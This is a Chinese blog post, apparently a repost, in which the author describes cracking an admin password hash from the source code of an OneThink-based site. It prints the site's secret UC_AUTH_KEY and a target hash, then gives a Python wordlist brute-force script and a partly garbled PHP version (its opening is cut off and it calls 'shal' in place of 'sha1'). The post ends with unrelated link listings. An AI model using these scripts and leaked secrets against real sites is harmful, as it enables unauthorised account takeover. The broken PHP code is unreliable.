博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
密码爆破脚本
阅读量:6863 次
发布时间:2019-06-26

本文共 1463 字,大约阅读时间需要 4 分钟。

昨天遇到一个基于onethink开发的程序。源码是脱下来了。但是密码始终破解不了。来看看加密函数

function think_ucenter_md5($str, $key = 'ThinkUCenter'){	return '' === $str ? '' : md5(sha1($str) . $key);}if(is_array($user) && $user['status']){			/* 验证用户密码 */			if(think_ucenter_md5($password, UC_AUTH_KEY) === $user['password']){				$this->updateLogin($user['id']); //更新用户登录信息				return $user['id']; //登录成功,返回用户ID			} else {				return -2; //密码错误			}define('UC_AUTH_KEY', 'W#RZ5cfy1n]Qk3zu2HvgqC@>Gt0%&P|DJr{^EM9!');

总感觉无法可逆,所以只能爆破,有更好方法的大大,介绍给我

py版本

#coding:utf-8#author:jwongimport hashlibkey = 'W#RZ5cfy1n]Qk3zu2HvgqC@>Gt0%&P|DJr{^EM9!'result = '9fdf7c3ba521d12db4d56540eb1bca15'def md5(str):    m = hashlib.md5()    m.update(str)    return m.hexdigest()def sha1(str):    s = hashlib.sha1()    s.update(str)    return s.hexdigest()def main():    try:        with open('password.txt','rb') as f:            for line in f.readlines():                print "trying: %s " % line                str1 = sha1(line) + key                password = md5(str1)                if password == result:                    print 'password is %s ' % line    except Exception, e:        print 'could not open file' , eif __name__ == '__main__':    main()

php版本

Gt0%&P|DJr{^EM9!';$md5_pass = "9fdf7c3ba521d12db4d56540eb1bca15";foreach($lines as $line){ $str1 = md5(shal($line).$key); if($str1 == $md5_pass){ echo 'password: '.$line; break; }}?>

 

 

  

 

转载于:https://www.cnblogs.com/whoami101/p/5433917.html

你可能感兴趣的文章
java中高级面试题整理及参考答案
查看>>
冯·若依曼体系结构
查看>>
B00009 C语言分割字符串库函数strtok
查看>>
windows查看端口占用命令[转]
查看>>
基于 canvas 将图片转化成字符画
查看>>
python内置函数整理
查看>>
ORACLE忘记sys密码
查看>>
CSDN V5 CSDN统一天下
查看>>
经典排序算法 - 鸽巢排序Pigeonhole sort
查看>>
Android,visibility属性
查看>>
springboot~configserver里对重要信息进行RSA加密
查看>>
DotNetCore跨平台~文章索引~永久更新
查看>>
iOS-Get the NSString height in iOS 7
查看>>
对象调用成员的过程
查看>>
linux安装man中文手册并保留英文man手册
查看>>
SSH密码和秘钥认证原理
查看>>
现有‘abcdefghijkl’12个字符,将其所有的排列按字典序进行排序,给出任意一组排列,说出这租排列在所有排列中是第几小的...
查看>>
数据结构12——哈希
查看>>
云计算简介及总结
查看>>
提高ASP.NET网站性能的方法
查看>>